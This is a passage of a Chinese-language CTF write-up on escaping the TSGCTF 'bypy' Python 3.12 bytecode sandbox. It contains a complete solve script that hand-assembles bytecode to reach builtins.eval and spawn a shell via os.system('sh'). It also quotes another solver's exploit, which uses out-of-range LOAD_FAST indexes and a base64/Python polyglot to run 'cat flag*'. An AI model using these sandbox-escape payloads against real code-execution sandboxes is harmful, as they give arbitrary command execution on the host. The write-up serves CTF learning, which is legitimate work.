128: {'sys': <module 'sys' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_frozen_importlib': <module '_frozen_importlib' (frozen)>, '_imp': <module '_imp' (built-in)>, '_thread': <module '_thread' (built-in)>, '_warnings': <module '_warnings' (built-in)>, '_weakref': <module '_weakref' (built-in)>, '_io': <module '_io' (built-in)>, 'marshal': <module 'marshal' (built-in)>, 'posix': <module 'posix' (built-in)>, '_frozen_importlib_external': <module '_frozen_importlib_external' (frozen)>, 'time': <module 'time' (built-in)>, 'zipimport': <module 'zipimport' (frozen)>, '_codecs': <module '_codecs' (built-in)>, 'codecs': <module 'codecs' (frozen)>, 'encodings.aliases': <module 'encodings.aliases' from '/usr/local/lib/python3.12/encodings/aliases.py'>, 'encodings': <module 'encodings' from '/usr/local/lib/python3.12/encodings/__init__.py'>, 'encodings.utf_8': <module 'encodings.utf_8' from '/usr/local/lib/python3.12/encodings/utf_8.py'>, '_signal': <module '_signal' (built-in)>, '_abc': <module '_abc' (built-in)>, 'abc': <module 'abc' (frozen)>, 'io': <module 'io' (frozen)>, '__main__': <module '__main__' from '/wd/find.py'>, '_stat': <module '_stat' (built-in)>, 'stat': <module 'stat' (frozen)>, '_collections_abc': <module '_collections_abc' (frozen)>, 'genericpath': <module 'genericpath' (frozen)>, 'posixpath': <module 'posixpath' (frozen)>, 'os.path': <module 'posixpath' (frozen)>, 'os': <module 'os' (frozen)>, '_sitebuiltins': <module '_sitebuiltins' (frozen)>, '_distutils_hack': <module '_distutils_hack' from '/usr/local/lib/python3.12/site-packages/_distutils_hack/__init__.py'>, 'site': <module 'site' (frozen)>, 'types': <module 'types' from '/usr/local/lib/python3.12/types.py'>, '_opcode': <module '_opcode' from '/usr/local/lib/python3.12/lib-dynload/_opcode.cpython-312-x86_64-linux-gnu.so'>, 'opcode': <module 'opcode' from '/usr/local/lib/python3.12/opcode.py'>}
129: [None, <module 'sys' (built-in)>, None, <module 'builtins' (built-in)>]
130: <module '_frozen_importlib' (frozen)>
133: <built-in function __import__>
166: [<function search_function at 0x7fe59a24d9e0>]
167: {'utf_8': <codecs.CodecInfo object for encoding utf-8 at 0x7f8d42549910>}
168: {'strict': <built-in function strict_errors>, 'ignore': <built-in function ignore_errors>, 'replace': <built-in function replace_errors>, 'xmlcharrefreplace': <built-in function xmlcharrefreplace_errors>, 'backslashreplace': <built-in function backslashreplace_errors>, 'namereplace': <built-in function namereplace_errors>, 'surrogatepass': <built-in function surrogatepass>, 'surrogateescape': <built-in function surrogateescape>}
226: {'__name__': 'sys', '__doc__': "This module provides access to some objects used or maintained by the\ninterpreter and to functions that interact strongly with the interpreter.\n\nDynamic objects:\n\nargv -- command line arguments; argv[0] is the script pathname if known\npath -- module search path; path[0] is the script directory, else ''\nmodules -- dictionary of loaded modules\n\ndisplayhook -- called to show results in an interactive session\nexcepthook -- called to handle any uncaught exception other than SystemExit\n  To customize printing in an interactive session or to install a custom\n  top-level exception handler, assign other functions to replace these.\n\nstdin -- standard input file object; used by input()\nstdout -- standard output file object; used by print()\nstderr -- standard error object; used for error messages\n  By assigning other file objects (or objects that behave like files)\n  to these, it is possible to redirect all of the interpreter's I/O.\n\nlast_exc - the last uncaught exception\n  Only available in an interactive session after a\n  traceback has been printed.\nlast_type -- type of last uncaught exception\nlast_value -- value of last uncaught exception\nlast_traceback -- traceback of last uncaught exception\n  These three are the (deprecated) legacy representation of last_exc.\n\nStatic objects:\n\nbuiltin_module_names -- tuple of module names built into this interpreter\ncopyright -- copyright notice pertaining to this interpreter\nexec_prefix -- prefix used to find the machine-specific Python library\nexecutable -- absolute path of the executable binary of the Python interpreter\nfloat_info -- a named tuple with information about the float implementation.\nfloat_repr_style -- string indicating the style of repr() output for floats\nhash_info -- a named tuple with information about the hash algorithm.\nhexversion -- version information encoded as a single integer\nimplementation -- Python implementation information.\nint_info -- a named tuple with information about the int implementation.\nmaxsize -- the largest supported length of containers.\nmaxunicode -- the value of the largest Unicode code point\nplatform -- platform identifier\nprefix -- prefix used to find the Python library\nthread_info -- a named tuple with information about the thread implementation.\nversion -- the version of this interpreter as a string\nversion_info -- version information as a named tuple\n__stdin__ -- the original stdin; don't touch!\n__stdout__ -- the original stdout; don't touch!\n__stderr__ -- the original stderr; don't touch!\n__displayhook__ -- the original displayhook; don't touch!\n__excepthook__ -- the original excepthook; don't touch!\n\nFunctions:\n\ndisplayhook() -- print an object to the screen, and save it in builtins._\nexcepthook() -- print an exception and its traceback to sys.stderr\nexception() -- return the current thread's active exception\nexc_info() -- return information about the current thread's active exception\nexit() -- exit the interpreter by raising SystemExit\ngetdlopenflags() -- returns flags to be used for dlopen() calls\ngetprofile() -- get the global profiling function\ngetrefcount() -- return the reference count for an object (plus one :-)\ngetrecursionlimit() -- return the max recursion depth for the interpreter\ngetsizeof() -- return the size of an object in bytes\ngettrace() -- get the global debug tracing function\nsetdlopenflags() -- set the flags to be used for dlopen() calls\nsetprofile() -- set the global profiling function\nsetrecursionlimit() -- set the max recursion depth for the interpreter\nsettrace() -- set the global debug tracing function\n", '__package__': None, '__loader__': None, '__spec__': None, 'addaudithook': <built-in function addaudithook>, 'audit': <built-in function audit>, 'breakpointhook': <built-in function breakpointhook>, '_clear_type_cache': <built-in function _clear_type_cache>, '_current_frames': <built-in function _current_frames>, '_current_exceptions': <built-in function _current_exceptions>, 'displayhook': <built-in function displayhook>, 'exception': <built-in function exception>, 'exc_info': <built-in function exc_info>, 'excepthook': <built-in function excepthook>, 'exit': <built-in function exit>, 'getdefaultencoding': <built-in function getdefaultencoding>, 'getdlopenflags': <built-in function getdlopenflags>, 'getallocatedblocks': <built-in function getallocatedblocks>, 'getunicodeinternedsize': <built-in function getunicodeinternedsize>, 'getfilesystemencoding': <built-in function getfilesystemencoding>, 'getfilesystemencodeerrors': <built-in function getfilesystemencodeerrors>, 'getrefcount': <built-in function getrefcount>, 'getrecursionlimit': <built-in function getrecursionlimit>, 'getsizeof': <built-in function getsizeof>, '_getframe': <built-in function _getframe>, '_getframemodulename': <built-in function _getframemodulename>, 'intern': <built-in function intern>, 'is_finalizing': <built-in function is_finalizing>, 'setswitchinterval': <built-in function setswitchinterval>, 'getswitchinterval': <built-in function getswitchinterval>, 'setdlopenflags': <built-in function setdlopenflags>, 'setprofile': <built-in function setprofile>, '_setprofileallthreads': <built-in function _setprofileallthreads>, 'getprofile': <built-in function getprofile>, 'setrecursionlimit': <built-in function setrecursionlimit>, 'settrace': <built-in function settrace>, '_settraceallthreads': <built-in function _settraceallthreads>, 'gettrace': <built-in function gettrace>, 'call_tracing': <built-in function call_tracing>, '_debugmallocstats': <built-in function _debugmallocstats>, 'set_coroutine_origin_tracking_depth': <built-in function set_coroutine_origin_tracking_depth>, 'get_coroutine_origin_tracking_depth': <built-in function get_coroutine_origin_tracking_depth>, 'set_asyncgen_hooks': <built-in function set_asyncgen_hooks>, 'get_asyncgen_hooks': <built-in function get_asyncgen_hooks>, 'activate_stack_trampoline': <built-in function activate_stack_trampoline>, 'deactivate_stack_trampoline': <built-in function deactivate_stack_trampoline>, 'is_stack_trampoline_active': <built-in function is_stack_trampoline_active>, 'unraisablehook': <built-in function unraisablehook>, 'get_int_max_str_digits': <built-in function get_int_max_str_digits>, 'set_int_max_str_digits': <built-in function set_int_max_str_digits>}
227: {'__name__': 'builtins', '__doc__': "Built-in functions, types, exceptions, and other objects.\n\nThis module provides direct access to all 'built-in'\nidentifiers of Python; for example, builtins.len is\nthe full name for the built-in function len().\n\nThis module is not normally accessed explicitly by most\napplications, but can be useful in modules that provide\nobjects with the same name as a built-in value, but in\nwhich the built-in of that name is also needed.", '__package__': None, '__loader__': None, '__spec__': None, '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'BaseExceptionGroup': <class 'BaseExceptionGroup'>, 'Exception': <class 'Exception'>, 'GeneratorExit': <class 'GeneratorExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'SystemExit': <class 'SystemExit'>, 'ArithmeticError': <class 'ArithmeticError'>, 'AssertionError': <class 'AssertionError'>, 'AttributeError': <class 'AttributeError'>, 'BufferError': <class 'BufferError'>, 'EOFError': <class 'EOFError'>, 'ImportError': <class 'ImportError'>, 'LookupError': <class 'LookupError'>, 'MemoryError': <class 'MemoryError'>, 'NameError': <class 'NameError'>, 'OSError': <class 'OSError'>, 'ReferenceError': <class 'ReferenceError'>, 'RuntimeError': <class 'RuntimeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'SyntaxError': <class 'SyntaxError'>, 'SystemError': <class 'SystemError'>, 'TypeError': <class 'TypeError'>, 'ValueError': <class 'ValueError'>, 'Warning': <class 'Warning'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'BytesWarning': <class 'BytesWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'UserWarning': <class 'UserWarning'>, 'BlockingIOError': <class 'BlockingIOError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionError': <class 'ConnectionError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'InterruptedError': <class 'InterruptedError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'IndentationError': <class 'IndentationError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'RecursionError': <class 'RecursionError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'UnicodeError': <class 'UnicodeError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'TabError': <class 'TabError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'ExceptionGroup': <class 'ExceptionGroup'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>}
497: [('default', None, <class 'DeprecationWarning'>, '__main__', 0), ('ignore', None, <class 'DeprecationWarning'>, None, 0), ('ignore', None, <class 'PendingDeprecationWarning'>, None, 0), ('ignore', None, <class 'ImportWarning'>, None, 0), ('ignore', None, <class 'ResourceWarning'>, None, 0)]
499: default
"""

可見裡面 227 是 builtins.__dict__。然後從我之前在 0ctf 2021 - pypypypy 弄的一些生數字、字串的 function 改成 3.12 可以動的版本，湊一湊就能解了。

from base64 import b64decode, b64encode
from marshal import loads, dumps
from types import FunctionType, CodeType
import dis


NMAX = 10000


def validator(c):
    if len(c.co_names) != 0:
        return False
    if len(c.co_consts) != 0:
        return False
    if len(c.co_cellvars) != 0:
        return False
    if len(c.co_freevars) != 0:
        return False
    if len(c.co_varnames) != 0:
        return False
    return True


def dummy():
    pass


def assemble(ops):
    cache = bytes([dis.opmap["CACHE"], 0])
    ret = b""
    for op, arg in ops:
        opc = dis.opmap[op]
        ret += bytes([opc, arg])
        ret += cache * dis._inline_cache_entries[opc]
    return ret


binop = {sym: i for i, (_, sym) in enumerate(dis._nb_ops)}


def gen_num_op(n):
    # push number n into stack
    one = [("BUILD_TUPLE", 0), ("UNARY_NOT", 0)]
    if n == 1:
        return one
    half = gen_num_op(n // 2)
    ret = half + [("COPY", 1), ("BINARY_OP", binop["+"])]
    if n % 2 == 1:
        ret += one + [("BINARY_OP", binop["+"])]
    return ret


def gen_c():
    return [
        ("BUILD_TUPLE", 0),
        ("BUILD_TUPLE", 0),
        ("BUILD_SLICE", 2),
        ("FORMAT_VALUE", 0),
        # ['slice((), (), None)']
        ("BUILD_TUPLE", 0),
        ("UNARY_NOT", 0),
        ("COPY", 1),
        ("COPY", 1),
        ("BINARY_OP", binop["+"]),
        ("BINARY_OP", binop["+"]),
        # ['slice((), (), None)', 3]
        ("BINARY_SUBSCR", 0),
        # ['c']
    ]


def gen_str(s):
    # assuming stack top is 'c'
    assert len(s) > 0
    if len(s) == 1:
        return [
            *gen_num_op(ord(s[0])),
            ("SWAP", 2),
            ("FORMAT_VALUE", 4),
        ]
    return [
        ("COPY", 1),
        *gen_str(s[:-1]),
        # ['c', s[:-1]]
        ("SWAP", 2),
        *gen_num_op(ord(s[-1])),
        ("SWAP", 2),
        ("FORMAT_VALUE", 4),
        # [s[:-1], s[-1]]
        ("BUILD_STRING", 2),
    ]


co_code = assemble(
    [
        ("RESUME", 0),
        ("PUSH_NULL", 0),
        ("LOAD_CONST", 227),
        *gen_c(),
        *gen_str("eval"),
        # [null, builtins.__dict__, 'eval']
        ("BINARY_SUBSCR", 0),
        # [null, builtins.eval]
        *gen_c(),
        *gen_str("__import__('os').system('sh')"),
        ("LOAD_CONST", 227),
        # [null, builtins.eval, PAYLOAD, builtins.__dict__]
        ("CALL", 2),
        ("RETURN_VALUE", 0),
    ]
)

print(dis.dis(co_code, show_caches=True))

"""
class CodeType(
    __argcount: int,
    __posonlyargcount: int,
    __kwonlyargcount: int,
    __nlocals: int,
    __stacksize: int,
    __flags: int,
    __codestring: bytes,
    __constants: tuple[object, ...],
    __names: tuple[str, ...],
    __varnames: tuple[str, ...],
    __filename: str,
    __name: str,
    __qualname: str,
    __firstlineno: int,
    __linetable: bytes,
    __exceptiontable: bytes,
    __freevars: tuple[str, ...] = ...,
    __cellvars: tuple[str, ...] = ...,
    /
)
"""

code = CodeType(
    0,  # co_argcount
    0,  # co_posonlyargcount
    0,  # co_kwonlyargcount
    0,  # co_nlocals
    0,  # co_stacksize
    3,  # co_flags
    co_code,  # co_code
    (),  # co_consts
    (),  # co_names
    (),  # co_varnames
    "hello",  # co_filename
    "hello",  # co_name
    "hello",  # co_qualname
    0,  # co_firstlineno
    b"",  # co_lnotab
    b"",  # co_lnotab
    (),  # co_freevars
    (),  # co_cellvars
)


def main(code):
    global __builtins__
    for key in ["eval", "exec", "__import__", "open"]:
        del __builtins__.__dict__[key]
    if not validator(code):
        print("invalid code")
        exit(-1)

    dummy.__code__ = code

    print(dummy())


# main(code)
print(b64encode(dumps(code)).decode())
# TSGCTF{our_caffeine_knight_slays_python_bytes}

後來我看了一下別人的解，例如 (@Satoooon)[https://discord.com/channels/546339917459095552/1165469713720152124/1170639277076516925] 用了這樣的方法:

from opcode import opmap, cmp_op, _nb_ops
import dis
import types
import os
import sys
import marshal
from base64 import b64encode, b64decode


code = b""
code += bytes([opmap["LOAD_FAST"], 18])  # "src" variable
code += bytes([opmap["LOAD_FAST"], 51])  # exec function
code += bytes([opmap["LOAD_FAST"], 18])  # "src" variable
code += bytes([opmap["CALL"], 0]) + bytes([0] * 6)  # I don't know why this works well
code += bytes([opmap["RETURN_VALUE"], 0])

# print(code, file=sys.stderr)

codeobj = types.CodeType(0, 0, 0, 0, 0, 0, code, (), (), (), '', '', '', 0, b'', b'', (), ())

encoded = b64encode(marshal.dumps(codeobj)).decode()

for i in range(4):
    try:
        code = "\"" + encoded + "\";print(__loader__.exec_module.__globals__['sys'].modules['os'].system('cat flag*'));#" + "A" * i
        b64decode(code.encode())
    except Exception as e:
        print(e)
        continue
    print(code)

# "4wAAAAAAAAAAAAAAAAAAAAAAAAAA8xAAAAB8EnwzfBKrAAAAAAAAAAAAqQByAgAAAHICAAAA8wAAAADaAHIEAAAAcgQAAAAAAAAAcgMAAAByAwAAAA==";print(__loader__.exec_module.__globals__['sys'].modules['os'].system('cat flag*'));#

那個 LOAD_FAST 18 我自己用上面找 offset 的腳本是弄不出來的，因為那個需要在完全一樣的環境才能弄出來，也就是要用 pipe 到題目的 script 才能弄出來。而它下面那邊透過 b64decode 預設會自動無視非 base64 字元的特性，造 base64/python polyglot。從這邊也可以看了出來 marshal 的資料其實後面任意接東西也不會錯。

另外還有 lebr0nli 的解可以參考，看起來和我的作法類似，只是改成透過用 bytecode 去操作 builtins.__dict__ 而沒有特別用 bytecode 造 string 等等。

Crypto#

RANDOM SEED RANDOM#

Learning with Exploitation#

Delta Force#

Misc#

Functionless#

Web#

absurdres#

Pwn#

bypy#